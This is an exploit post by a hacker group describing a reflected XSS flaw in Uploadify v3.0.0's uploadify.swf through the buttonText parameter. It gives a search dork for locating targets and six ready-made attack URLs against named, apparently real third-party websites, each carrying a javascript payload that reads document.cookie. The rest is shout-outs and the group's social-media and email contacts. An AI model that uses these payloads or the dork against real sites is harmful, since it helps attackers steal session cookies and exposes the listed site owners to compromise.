Uploadify v3.0.0 XSS Vulnerability

# Title : Uploadify v3.0.0 XSS Vulnerability
# Date: 2013-03-15
# Software Link: http://www.uploadify.com/
# Credit: This Bug was founded by Asesino04 "The Black Devils"
# Tested on: Windows XP SP2
# Category: [webapps]
# Dork : inurl:uploadify
# Special Thanks To : sH3LL05Dz & Lady NEXA & x3o-1337
# Please Like The New Fb page  : https://fb.com/Th3.Black.D3Vils

-----------


http://127.0.0.1/path/uploadify/uploadify.swf?buttonText=[ XSS ]

# Demo :
http://www.renders-dbz.com/admin/include/uploadify/uploadify.swf?buttonText=%3Ca%20href=%27javascript:alert%28document.cookie%29%27%3EClick%20me%3C/a%3E
http://galerie.labeille49.fr/admin/include/uploadify/uploadify.swf?buttonText=%3Ca%20href=%27javascript:alert%28document.cookie%29%27%3EClick%20me%3C/a%3E
http://photos.davidandginny.co.uk/admin/include/uploadify/uploadify.swf?buttonText=%3Ca%20href=%27javascript:alert%28document.cookie%29%27%3EClick%20me%3C/a%3E
http://landevejsridder.dk/piwigo/admin/include/uploadify/uploadify.swf?buttonText=%3Ca%20href=%27javascript:alert%28document.cookie%29%27%3EClick%20me%3C/a%3E
http://massecritique.agora.eu.org/piwigo/admin/include/uploadify/uploadify.swf?buttonText=%3Ca%20href=%27javascript:alert%28document.cookie%29%27%3EClick%20me%3C/a%3E
http://www.alphalumix.fr/moto/admin/include/uploadify/uploadify.swf?buttonText=%3Ca%20href=%27javascript:alert%28document.cookie%29%27%3EClick%20me%3C/a%3E
-----------
Thanks To : | r0073r | KedAns-Dz | D4RKCR1PT3R | Keystr0ke | x3o-1337 | Èlite TrØjan | sH3LL05Dz
            | Ana Eve | DZ Combattant | Muhammad Talha Khan | r4dc0re | SeeMe CrosS | Zikou-16 | DaOne
            | Angel Injection | NuxbieCyber | Tibit | Sammy FORGIT | D4NB4R beBoss | LORDOFDARKNES
            | All Dz hackerz
-----------
 Contact:
# Fane Page : www.facebook.com/Th3.Black.D3Vils
# Youtube  : www.youtube.com/user/Th3BlackDevils
# Facebook : www.facebook.com/DevilsDz
# Email    : mr.k4rizma@gmail.com